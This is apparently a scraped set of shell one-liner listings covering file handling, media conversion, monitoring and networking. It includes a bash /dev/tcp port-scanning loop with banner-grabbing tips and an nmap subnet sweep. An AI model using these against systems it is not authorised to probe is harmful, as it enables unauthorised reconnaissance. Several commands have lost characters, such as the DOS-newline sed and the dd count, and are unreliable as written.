tired of switching to the console to check if some command has finished yet? if notify-send does not work on your box try this one... e.g. rsync -av -e /usr/bin/lsh $HOME slowconnection.bar:/mnt/backup ; z (now fire up X, do something useful, get notified if this stuff has finished).
wget -O - http://example.com/a.gz | tar xz
Use `tar xj` for bzip2 archives.
function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
Open up a man page as PDF (#OSX)
Simply pass an argument to the script to convert the manual page to a PDF:
man2pdf drutil
curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1
Functions: awk grep iptables sudo xargs
Retrieve top ip threats from http://isc.sans.org/sources.html and add them into iptables output chain.
‹ First < 68 69 70 71 72 > Last ›
top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
Functions: awk top
count processes with status "D" uninterruptible sleep
printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
AUTH PLAIN dmlsbGUAdmlsbGUAc2FsYXNhbmE=
Functions: printf sed tr
Create AUTH PLAIN string to test SMTP AUTH session
I use this as an alias:
alias authplain "printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'"
then..
# authplain someuser@somedomain.com secretpassword
AUTH PLAIN c29tZXVzZXJAc29tZWRvbWFpbi5jb20Ac29tZXVzZXJAc29tZWRvbWFpbi5jb20Ac2VjcmV0cGFzc3dvcmQ=
watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }
Every 3s: ls Mi 19 Aug 2009 17:27:24 CEST
Functions: echo sleep test watch
for all who don't have the watch command
#Usage: watch timeinsecond "command"
rsync -av --ignore-existing --exclude="dir1" --exclude="dir2" /pathA /pathB
syncronizing datas beetween two folder (A and B) excluding some directories in A (dir1 and dir2)
echo > /proc/acpi/video/VGA/LCD/brightness
Set laptop display brightness
Run as root. Path may vary depending on laptop model and video card (this was tested on an Acer laptop with ATI HD3200 video).
cat /proc/acpi/video/VGA/LCD/brightness
to discover the possible values for your display.
find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f
Functions: cut file find grep sed tail xargs
Monitor logs in Linux using Tail
Works in Ubuntu, I hope it will work on all Linux machines. For Unixes, tail should be capable of handling more than one file with '-f' option.
This command line simply take log files which are text files, and not ending with a number, and it will continuously monitor those files.
Putting one alias in .profile will be more useful.
ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null
convert (almost) any image into a video
This is an extract from a larger script which makes up slideshow videos from images. $seconds is the number of seconds the video will last, and $num is a loop counter which numbers the videos for concat into a longer video later, so they will be in order. The dev/null bit on the end cuts ffmpeg's verbosity.
whowatch
whowatch: Linux and UNIX interactive, process and users monitoring tool
whowatch is a interactive, ncurses-based, process and users monitoring tool, which updates information in real time. This is a perfect tool for local and remote servers.
It displays information about the users currently logged on to the machine, in real-time. Besides standard information (login name, tty, host, user's process), the type of the connection (ie. telnet or ssh) is shown. Display of users command line can be switch to tty idle time.
Certain user can be selected and his processes tree may be viewed as well as tree of all system processes. Tree may be displayed with additional column that shows owner of each process. In the process tree mode SIGINT and SIGKILL signals can be sent to the selected process. Killing processes is just as simple and fun as deleting lines on the screen.
firefox -P -no-remote
Simultaneously running different Firefox profiles
After running
firefox -ProfileManager
and creating several different profiles, use this command to run multiple Firefox profiles simultaneously.
tr '\0' '\377' < /dev/zero|dd count=$((/512))
$ time tr '\0' '\377' < /dev/zero|dd count=$((24*1024*2)) > /dev/null
49152+0 records in
49152+0 records out
25165824 bytes (25 MB) copied, 0.0491487 s, 512 MB/s
tr '\0' '\377' < /dev/zero 0.02s user 0.02s system 82% cpu 0.053 total
dd count=$((24*1024*2)) > /dev/null 0.01s user 0.03s system 76% cpu 0.052 total
Functions: dd tr
a fast way to repeat output a byte
the speed is about 500MB/s on my machine.
i think it's fast enough to output not too many bytes.
while a C program may output 1GB per sencond on my machine.
if the size is not the power of 512,you may change the bs and count in dd.
bind -p | grep -F "\C"
"\C-g": abort
"\C-x\C-g": abort
"\e\C-g": abort
"\C-j": accept-line
"\C-m": accept-line
"\C-b": backward-char
"\C-h": backward-delete-char
"\C-?": backward-delete-char
"\C-x\C-?": backward-kill-line
"\e\C-h": backward-kill-word
"\e\C-?": backward-kill-word
"\C-a": beginning-of-line
"\C-xe": call-last-kbd-macro
"\C-]": character-search
"\e\C-]": character-search-backward
"\C-l": clear-screen
"\C-i": complete
"\C-d": delete-char
Useful for getting to know the available keyboard shortcuts.
sed -n /start_pattern/,/stop_pattern/p file.txt
sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0:wq; mount //smb-share/gino
Functions: mount sudo vi
automount samba shares as devices in /mnt/
the middle command between the ; and ; is the vi commands that insert that line into the last line of the file, the esc with the carets is literally hitting the escape key, you have to have the smbfs package installed to do it, I use it to access my iTunes music on my mac from my linux PC's with amarok so I can play the music anywhere in the house. among other things, it allows you to access the files on that share from your computer anytime you're on that network.
shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;}
$ cat mod_log_config.c | shmore
$ shmore < mod_log_config.c
# * Syntax:
# *
# * TransferLog fn Logs transfers to fn in standard log format, unless
# * a custom format is set with LogFormat
# * LogFormat format Set a log format from TransferLog files
# * CustomLog fn format
--- SHMore ---
SH
cat mod_log_config.c | shmore
shmore < mod_log_config.c
Most pagers like less, more, most, and others require additional processes to be loaded, additional cpu time used, and if that wasn't bad enough, most of them modify the output in ways that can be undesirable.
What I wanted was a "more" pager that was basically the same as running:
cat file
Without modifying the output and without additional processes being created, cpu used, etc. Normally if you want to scroll the output of cat file without modifying the output I would have to scroll back my terminal or screen buffer because less modifies the output.
After looking over many examples ranging from builtin cat functions created for csh, zsh, ksh, sh, and bash from the 80's, 90s, and more recent examples shipped with bash 4, and after much trial and error, I finally came up with something that satisifed my objective. It automatically adjusts to the size of your terminal window by using the LINES variable (or 80 lines if that is empty) so
This is a great function that will work as long as your shell works, so it will work just find if you are booted in single user mode and your /usr/bin directory is missing (where less and other pagers can be). Using builtins like this is fantastic and is comparable to how busybox works, as long as your shell works this will work.
One caveat/note: I always have access to a color terminal, and I always setup both the termcap and the terminfo packages for color terminals (and/or ncurses and slang), so for that reason I stuck the
tput setab 4; tput setaf 7
command at the beginning of the function, so it only runs 1 time, and that causes the -- SHMore -- prompt to have a blue background and bright white text.
This is one of hundreds of functions I have in my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html">.bash_profile
at http://www.askapache.com/">AskApache.com, but actually won't be included till the next update.
If you can improve this in any way at all please let me know, I would be very grateful! ( Like one thing I want is to be able to continue to the next screen by pressing any key instead of now having to press enter to continue)
ps auxw |egrep "PID|process_to_look_at"
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
ps a process keeping the header info so you know what the columns of numbers mean!
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1828 0.0 0.0 5396 476 ? Ss 2008 0:00 /usr/sbin/sshd
awk '/match/{print NR}' file
Get line number of all matches in a file
xclip -o -selection clipboard | xclip -selection clipboard
get xclip to own the clipboard contents
"Copying" things to the X clipboard doesn't normally create a copy. Rather the data to be 'copied' is referenced. This means that if the application that you 'copied' stuff from is closed, that data is lost. If the application that you 'copied' from is suspended with CTRL-Z, there could be some issues if you try to paste it into something.
This command will create a copy of referenced data and have xclip be the provider of it, so you can then go ahead and close the app that contains the original information.
Caveat: I'm not sure if this is binary-safe (though i would expect it to be), and don't know what would happen if you used it to clip a 20 meg gimp image.
This technique becomes more convenient if you set it up as an action in a clipboard manager (eg klipper, parcellite). Some of these applets can take automatic action based on a variety of parameters, so you could probably just get it to always own the clipped data whenever data is clipped.
realpath examplefile.txt
/full/path/to/examplefile.txt
Useful in scripts when the file is passed in as an argument. Eg.
filepath=$(realpath $1)
bind 'set match-hidden-files off'
ignore hidden directory in bash completion (e.g. .svn)
add it in ~/.bashrc
install bash-completion
read -a A<<<".*.**..*....*** 8 9 5 10 6 0 2 11 7 4";for C in `date +"%H%M"|fold -w1`;do echo "${A:${A[C+1]}:4}";done
...*
..*.
..**
.*..
Functions: echo fold read
Like 7171, but fixed typo, uses fewer variables, and even more cryptic!
imageshack() { for files in *; do curl -H Expect: -F fileupload="@$files" -F xml=yes -# "http://www.imageshack.us/index.php" | grep image_link | sed -e 's//[IMG]/g' -e 's/<\/image_link>/[\/IMG]/g'; done; }
[user@host ~]$ imageshack
######################################################################## 100.0%
[IMG]http://img541.imageshack.us/img541/5382/wifidock01.png[/IMG]
[IMG]http://img716.imageshack.us/img716/54/wifidock02.png[/IMG]
[IMG]http://img825.imageshack.us/img825/6664/wifidock03.jpg[/IMG]
Each file in the current folder is uploaded to imageshack.us
If the folder contains other filetypes
change:
for files in *
to:
for files in *.jpg
(to upload ONLY .jpg files)
Additionally you can try (results may vary):
for files in *.jpg *.png
The output URL is encased with BB image tags for use in a forum.
ncal -e
12 April 2009
Show the date of easter
ncal -e shows the date of Easter this year. ncal -e YYYY shows the date of Easter in a given year. ncal -o works the same way, but for Orthodox dates.
dvgrab --format raw - | tee dvstream.dv | ffmpeg2theora -A 45 -V 400 -c 1 -f dv -x 360 -y 288 -o /dev/stdout - | tee savelivestream.ogv | oggfwd -p -d "Stream description" -n "Streamname" my.icecastserver.com 80 icecastpassword /stream.ogv
Streaming HTML5 video to icecast server using dvgrab, ffmpeg2theora and oggfwd
Streaming HTML5 compatible video (Ogg Theora video with Vorbis sound) to an Icecast server using dvgrab, ffmpeg2theora and oggfwd.
In this example I'm merging stereo sound to mono (-c 1), saving the original dv for later higher quality on-demand video (tee dvstream.dv), saving the theora stream for immediate on-demand video, and publishing the stream in Xiph's stream directory (-p and the name and description).
The URL of the video will be (depending on your server) http://my.icecastserver.com/stream.ogv which will play in newer Firefox, Chrome and Opera web browsers. Cortado (a Java player) can easily be used for IE.
Note also that I'm using port 80, which is not the default port for Icecast, this is to avoid restrictive firewalls.
Also note that ffmpeg2theora 0.25 and will heed the bitrates much better than former versions because of using libtheora 1.1 or newer.
find . -type f -mtime +100 -exec tar rvf my.tar --remove-files {} \;
tar and remove files which are older that 100 days
tar does not have a -mtime option as find. tar appends all the file to an existing tar file.
+<.> or ++<.> or +,+<.>
Place the NUM-th argument of the most recent command on the shell
After executing a command with multiple arguments like
cp ./temp/test.sh ~/prog/ifdown.sh
you can paste any argument of the previous command to the console, like
ls -l ALT+1+.
is equivalent to
ls -l ./temp/test.sh
ALT+0+. stands for command itself ('ls' in this case)
Simple ALT+. cycles through last arguments of previous commands.
‹ First < 69 70 71 72 73 > Last ›
gpg --encrypt --recipient 'Foo Bar' foo.txt
gpg encrypt a file
gpg command to encrypt a file on the command line.
enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
output left in /var/www/output.html
Convert the output of one or more (log, source code ...) files into html,
Requires the "enscript" package.
frank@zappa:~# sudo apt-get install enscript
Or http://www.codento.com/people/mtr/genscript/
"use your head"
net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME
..
SVCNAME service is stopped.
Stop or Start (Restart) a Windows service from a Linux machine
Control (stop, start, restart) a Windows Service from a Linux machine which has the `net` command (provided by samba).
convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png
Scale,Rotate, brightness, contrast,...with Image Magick
rotate: the rotate angle width, $height: width and height to scale to birghtness: change brighness
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0
Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
Rip DVD to YouTube ready AVI file, using MPEG-4 video codec and MP3 audio codec. Resizes to 320x240 and deinterlaces as needed.
googl () { curl -s -d "url=${1}" http://goo.gl/api/url | sed -n "s/.*:\"\([^\"]*\).*/\1\n/p" ;}
http://goo.gl/jYVX
Shorter and made into a function.
filext () { echo ${1##*.}; }
Extract extention of a file
startx -- /usr/bin/Xephyr :2
Start another X session in a window
You might have Xnest (older) rather than Xephyr.
You can experiment with other desktops eg:
startx /usr/bin/start-kde -- /usr/bin/Xephyr :2
You can start X on a remote machine (although I'd recommend vnc for anything slower than a LAN):
startx /usr/bin/ssh -X gnome-session -- /usr/bin/Xephyr :2
Or just start another X session locally talking to the remote backend:
for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
This will lower the quality of mp3 files, but is necessary to play them on some mobile devices.
grep -r . /sys/class/net/eth0/statistics
# grep -r . /sys/class/net/eth0/statistics
/sys/class/net/eth0/statistics/tx_compressed:0
/sys/class/net/eth0/statistics/rx_compressed:0
/sys/class/net/eth0/statistics/tx_window_errors:0
/sys/class/net/eth0/statistics/tx_heartbeat_errors:0
/sys/class/net/eth0/statistics/tx_fifo_errors:0
/sys/class/net/eth0/statistics/tx_carrier_errors:0
/sys/class/net/eth0/statistics/tx_aborted_errors:0
/sys/class/net/eth0/statistics/rx_missed_errors:0
/sys/class/net/eth0/statistics/rx_fifo_errors:0
/sys/class/net/eth0/statistics/rx_frame_errors:0
/sys/class/net/eth0/statistics/rx_crc_errors:0
/sys/class/net/eth0/statistics/rx_over_errors:0
/sys/class/net/eth0/statistics/rx_length_errors:0
/sys/class/net/eth0/statistics/collisions:0
/sys/class/net/eth0/statistics/multicast:0
/sys/class/net/eth0/statistics/tx_dropped:0
/sys/class/net/eth0/statistics/rx_dropped:0
/sys/class/net/eth0/statistics/tx_errors:0
/sys/class/net/eth0/statistics/rx_errors:0
/sys/class/net/eth0/statistics/tx_bytes:19184080771
/sys/class/net/eth0/statistics/rx_bytes:91584373132
/sys/class/net/eth0/statistics/tx_packets:40503331
/sys/class/net/eth0/statistics/rx_packets:105935775
Quick key/value display within /proc or /sys
Within /proc and /sys there are a lot of subdirectories, which carry pseudofiles with only one value as content. Instead of cat-ing all single files (which takes quite a time) or do a "cat *" (which makes it hard to find the filename/content relation), just grep recursively for . or use "grep . /blabla/*" (star instead of -r flag).
For better readability you might also want to pipe the output to "column -t -s : ".
echo "scale=4; 3 / 5" | bc
.6000
floating point operations in shell scripts
allows you to use floating point operations in shell scripts
watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"
3 active calls
72 calls processed
Watch active calls on an Asterisk PBX
Show active calls as the happen on an Asterisk server. Note that the Asterisk command (in single quotes) is formatted for Asterisk 1.6. Use the -n flag on the watch command to modify the refresh period (in seconds - default is 2 seconds).
sudo hwinfo --framebuffer
02: None 00.0: 11001 VESA Framebuffer
[Created at bios.464]
Unique ID: rdCR.UvN0l5rPwN5
Hardware Class: framebuffer
Model: "NVIDIA GW-P/N@CVGD33320LQ0N5:0"
Vendor: "NVIDIA Corporation"
Device: "GW-P/N@CVGD33320LQ0N5:0"
SubVendor: "NVIDIA"
SubDevice:
Revision: "GW-CLK"
Memory Size: 256 MB
Memory Range: 0xe0000000-0xefffffff (rw)
Mode 0x0300: 640x400 (+640), 8 bits
Mode 0x0301: 640x480 (+640), 8 bits
Mode 0x0303: 800x600 (+800), 8 bits
Mode 0x0305: 1024x768 (+1024), 8 bits
Mode 0x0352: 2048x1536 (+8192), 24 bits
Config Status: cfg=new, avail=yes, need=no, active=unknown
show framebuffer console modes to use in grub vga option
look at /boot/grub/menu.lst for somethig like:
## additional options to use with the default boot option, but not with the
## alternatives
## e.g. defoptions=vga=791 resume=/dev/hda5
## defoptions=vga=795
# defoptions=vga=873
## altoption boot targets option
## multiple altoptions lines are allowed
## e.g. altoptions=(extra menu suffix) extra boot options
## altoptions=(recovery) single
# altoptions=(verbose mode) vga=775 debug
# altoptions=(console mode) vga=ask
# altoptions=(graphic mode) quiet splash
# altoptions=(recovery mode) single
vga=(decimal value) is framebuffer mode
while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done
let the cow suggest some commit messages for you
ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -
Functions: cat sdiff ssh
remote diff with side-by-side ordering.
more information: man sdiff
declare -f
rany:~/Desktop$ command_8239() { M=50;if read mb _ < <(du -sm 2>/dev/null) && (( mb > M )); then echo "Size of ${PWD##*/} > $M";fi; }
rany:~/Desktop$ declare -f command_8239
command_8239()
M=50;
if read mb _ < <(du -sm 2>/dev/null) && (( mb > M )); then
rany:~/Desktop$
I often write a one-liner which I want to use later in a script.
#command
dont execute command just add it to history as a comment, handy if your command is not "complete" yet
sed 's/$//'
Convert Unix newlines to DOS newlines
The ctrl+v,ctrl+m portion represents key presses that you should do. If you do it successfully you should see a ^M character appear.
lsof -i | grep -i estab
Show established network connections
curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1 | xargs feh --bg-seamless
Functions: grep head xargs
set desktop background to highest-rated image from Reddit /r/wallpapers
You'll need "feh" to set the background from the commandline. Install with "apt-get install feh"
Thanks to the Redditors on this thread: http://www.reddit.com/r/linux/comments/bira4/is_there_a_linux_version_of_this_preferably_a/
ssh user@remote 'cat >> ~/.ssh/authorized_keys2' < ~/.ssh/id_rsa.pub
Install your ssh key file on a remote system
mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi
Convert video files to XviD
for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done
Functions: file ln mkdir
Sort your music
This will mv all your mp3 files in the current directory to $ARTIST/$ALBUM/$NAME.mp3
Make sure not to use sudo - as some weird things can happen if the mp3 file doesn't have id3 tags.
echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
This command will disable the beep sound from the PC speaker.
shout () { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\
/\&/p' | sed 's/<[^>]*>//g;/ Last ›
file /bin/* | msort -j -l -n-1 -n2 2> /dev/null
/bin/zgrep: Bourne-Again shell script text executable
/bin/zless: Bourne-Again shell script text executable
/bin/setupcon: POSIX shell script text executable
/bin/bzmore: POSIX shell script text executable
/bin/unicode_start: POSIX shell script text executable
/bin/which: POSIX shell script text executable
/bin/more: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), stripped
/bin/false: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), stripped
Sort on multiple dis-contiguous keys/fields (can even specify key number/field from the end)
1) -n-1 means sort key is the last field
2) -l is important if each separate record is on a new line (usually so for text files)
3) -j tells msort not to create log file (msort.log) in the working directory
4) may need to install msort package.
5) msort does lot more. Check man msort
grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge
Remove today's installed packages
fc-list | cut -d ':' -f 1 | sort -u
Andale Mono
Arab
Arial
Arial Black
AR PL UMing CN
AR PL UMing HK
AR PL UMing TW
AR PL UMing TW MBE
Balker
Bitstream Charter
Bitstream Vera Sans
Bitstream Vera Sans Mono
Bitstream Vera Serif ....
Functions: cut fc fc-list sort
Which fonts are installed?
See all fonts installed in your system
mwiki() { dig +short txt "$*".wp.dg.cx; }
$ mwiki Richard Stallman
"Richard Matthew Stallman (born March 16, 1953), often abbreviated \"rms\", is an American software freedom activist, hacker, and software developer. http://en.wikipedia.org/wiki/Richard_Stallman"
Shorter version, works with multiple words.
shopt -s cdable_vars
Enable cd by variable names
mydir=/very/long/path/to/a/dir cd mydir
I often need to cd where no man wants to go (i.e. long path). by enabling the shell option cdable_vars, I can tell cd to assume the destination is the name of a variable.
cp --parents /source/file /target-dir
copy/mkdir and automatically create parent directories
The --parents option will cause cp or mkdir to automatically create the parent directory structure.
mkdir --parents /one/two/three/dir
will create /one, /one/two, and /one/two/three as needed before creating dir. cp will copy files with their full directory structure into the target directory with this option.
Thanks to Peter Leung at:
http://linuxcommando.blogspot.com/2007/11/use-of-parents-flag-in-mkdir-and-c.html
which has good examples of usage.
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
STAT PID USER COMMAND
Functions: egrep ps
Find the processes that are on the runqueue. Processes with a status of
Want to know why your load average is so high? Run this command to see what processes are on the run queue. Runnable processes have a status of "R", and commands waiting on I/O have a status of "D".
On some older versions of Linux may require -emo instead of -eo.
On Solaris: ps -aefL -o s -o user -o comm | egrep "^O|^R|COMMAND"
vi `!!`
$ dpkg -L trac-bzr | grep README
/usr/share/pyshared/trac/htdocs/README
/usr/share/pyshared/trac/templates/README
/usr/share/doc/trac/contrib/workflow/README
/usr/share/doc/trac/README.Debian.gz
$ vi -o `!!`
Edit file(s) that has been just listed
That will open vi with the four README files in different viewports.
Specially handy when you find there is only one file matching your pattern and you don't want to specify the full path.
urxvtd -q -o -f
Using the urxvt terminal daemon
- for .xsession use -
Advantages of running a urxvt daemon include faster creation time for terminal windows and a lot of saved memory.
You can start new terminals as childs of urxvtd by typing urxvtc. Another advantage is, that background jobs are always owned by the urxvtd and will survive as long the daemon is running.
yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done }
create the function then run 'yt-chanrip username' to download that user's entire channel.
uses youtube-dl and the GData API. similar to http://www.commandlinefu.com/commands/view/3154/download-youtube-playlist
find /path -type d -perm 777 -exec chmod 755 {} \;
fix broken permissions
ping -i1 www.google.com &> /dev/null & disown
Continue to execute the command in background even though quitting the shell.
nmap 192.168.0-1.0-255 -sP
Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 15:03 PDT
Host ddwrt (192.168.0.1) appears to be up.
Host aveil (192.168.0.52) appears to be up.
Host MARIN (192.168.0.133) appears to be up.
Host midna (192.168.0.149) appears to be up.
Host saria (192.168.0.123) appears to be up.
Nmap done: 512 IP addresses (5 hosts up) scanned in 1.935 seconds
Show all machines on the network
while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep "ca fe"
Functions: grep head hexdump sleep true
Not as taxing on the CPU.
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg
bulk dl files based on a pattern
-O switch creates local filename same as remote
curl [][] -o #1#2 makes local files unique inserting sequence values into #x placeholders
sequences can be alpha or numeric e.g [a-z] [1-25]
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
Functions: echo find wc
Remove EXIF data from images with progress
mogrify -resize 800\> *
Batch resize all images in the current directory that are bigger than 800px, height or weight.
You need to install imagemagick.
On Debian type:
# apt-get install imagemagick
jot -r -n 8 0 9 | rs -g 0
Print a random 8 digit number
mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
Functions: gzip rm
backup local MySQL database into a folder and removes older then 5 days backups
yes n
YES = NO
export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
C:\home>
This one eliminates the additional backslash at the end (which is not necessary)
find . -name .svn -exec rm \-rf {} \;
Recursively remove all subversion folders
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto
Record your desktop
That will capture 200 seconds of video at fullscreen 1680x1050 resolution, but scaled down 25 percent, with 15 frames per second.
http://fusioncast.blogspot.com/2007/09/infobyte-how-i-record-my-desktop.html
lspci -vv
Functions: lspci
list your device drivers
great for running off a bootable cd to identify hardware other os's can't detect
for a in path/* ; do ccenrypt -K $a; done
en/decrypts files in a specific directory
To decrypt the files replace "ccenrypt" with "ccdecrypt.
ccrypt(1) must be installed. It uses the AES (Rijndael) block cipher.
To make it handier create an alias.
‹ First < 71 72 73 74 75 > Last ›
/usr/proc/bin/pfiles $PID
lsof equivalent on solaris
Report fstat(2) and fcntl(2) information for all open files in each process.
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
22 open
25 open
53 open
80 open
110 open
111 open
143 open
Simplest port scanner
Very handy way to perform a host scan if you don't have nmap,ncat,nc ...or other tools installed locally.
When executing a command on a /dev/tcp/$host/$port pseudo-device file, Bash opens a TCP connection to the associated socket and UDP connection when using /dev/udp/$host/$port.A simlpe way to get servers banner is to run this command "cat < /dev/tcp/localhost/25" , here you will get mail server's banner.
NOTE: Bash, as packaged for Debian, does not support using the /dev/tcp and /dev/udp pseudo-device it's not enabled by default Because bash in Debian is compiled with ?disable-net-redirections.
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
Create md5sum of files under the current dir excluding some directories
Useful if you want get all the md5sum of files but you want exclude some directories. If your list of files is short you can make in one command as follow:
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -exec md5sum {} \;
Alternatively you can specify a different command to be executed on the resulting files.
% very_long_command_you
% #empty prompt
(output of the new command you inserted)
% very_long_command # the first command will pop out automagically on the new prompt
Postpone a command [zsh]
When writing on the command line of zsh, by pressing Alt+q the command will be cleaned, and you can insert another one. The command you were writing will be recorder, and pasted on the prompt immediately after the "interrupting" command is inserted.
find . -type f ! -name "*html"
find all non-html files
TZ=PST8PDT+72 date '+%Y_%m_%d'
$ TZ=PST8PDT+72 date '+%Y_%m_%d'
2010_06_29
Print a date from 3 days ago
This command prints the Date (Not time) from 3 days ago (72 hours ago).
This works on systems without GNU date (MacOSX , Solaris, FreeBSD).
git ls-files -z --deleted | xargs -0 git rm
$ git status
# On branch master
# Changed but not updated:
# (use "git add/rm ..." to update what will be committed)
# deleted: some file
# deleted: some_file
# deleted: somefile
no changes added to commit (use "git add" and/or "git commit -a")
$ git ls-files -z --deleted | xargs -0 git rm
rm 'some file'
rm 'some_file'
rm 'somefile'
I've used technicalpickles command a lot, but this one handles whitespaces in filenames. I'm sure you want to create an alias for it :)
Boot another OS at next startup
dvd+rw-format -force /dev/dvd1
Blank/erase a DVD-RW
xrandr -s 1280x1024
Change display resolution
-s must be a valid resolution. You can get a list of valid (and supported) resolutions via `xrandr`.
rename 's/.txt/.md/i' *
mplayer -vc null -vo null -ao pcm -ss -endpos
Extract audio from start to end position from a video
mplayer -vc null -vo null -ao pcm Firefly\ ep\ 10.avi -ss 195 -endpos 246
Will create file audiodump.wav with audio from second 195 to second 246 (the opnening theme).
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
Find a CommandlineFu users average command rating
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
Functions: find tar xargs
Compress files found with find
tar options may change ;)
c to compress into a tar file, z for gzip (j for bzip) man tar
-print0 and -0t are usefull for names with spaces, \, etc.
identify -verbose *.jpg|grep "\(Image:\|Resolution\)"
Identify name and resolution of all jpgs in current directory
ps ax -o "%p %U %u %x %c %n"
Format ps command output
ps command gives the possibility to display information with custom formatting with the -o options followed by the format specifier list.
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
Start another instance of X via SSH
watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/throttling"
Every 1.0s: cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/thro... Thu Dec 9 22:44:30 2010
0 - Active; 1 - Passive
polling frequency: 5 seconds
state: ok
cpu MHz : 800.000
state count: 8
active state: T0
state available: T0 to T7
states:
Monitor cpu freq and temperature
This is maybe helpfull from system overheat on your linux box
> foobar.txt
ls -ltcrh
Show latest changed files
\bTERM\b
Search for a word in less
Although less behaves more or less like vim in certain aspects, the vim regex for word boundaries (\< and \>) do not work in less. Instead, use \b to denote a word boundary. Therefore, if you want to search for, say, the word "exit", but do not want to search for exiting, exits, etc., then surround "exit" with \b. This is useful if you need to search for specific occurrences of a keyword or command. \b can also be used at just the beginning and end, if needed.
man -t man | lp
Check your printer
Print out a man page
man -t manpagename gives a postscript version of said man page. You then pipe it to ls, and assuming you have cups set up, it prints in your default printer.
find . ! -name "$(printf '*[\001-\037\177]*')"
Skip filenames with control characters, a.k.a tab,newline etc
cat -v -t -e
$ cat sample.txt
Tab followed_by unix_newline
Tab followed_by dos_newline
$ cat -v -t -e sample.txt
Tab^Ifollowed_by unix_newline$
Tab^Ifollowed_by dos_newline^M$
View non-printing characters with cat
Useful to detect number of tabs in an empty line, DOS newline (carriage return + newline).
A tool that can help you understand why your parsing is not working.
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest
for Sun Freeware
mirror=ftp://sunsite.informatik.rwth-aachen.de/pub/mirror/ftp.sunfreeware.com
pkg=perl
curl -l $mirror/intel/10/ 2>/dev/null | grep $pkg
perl-5.8.5-sol10-intel-local.gz
perl-5.8.7-sol10-x86-local.gz
perl-5.8.8-sol10-x86-local.gz
command above would download only perl-5.8.8-sol10-x86-local.gz
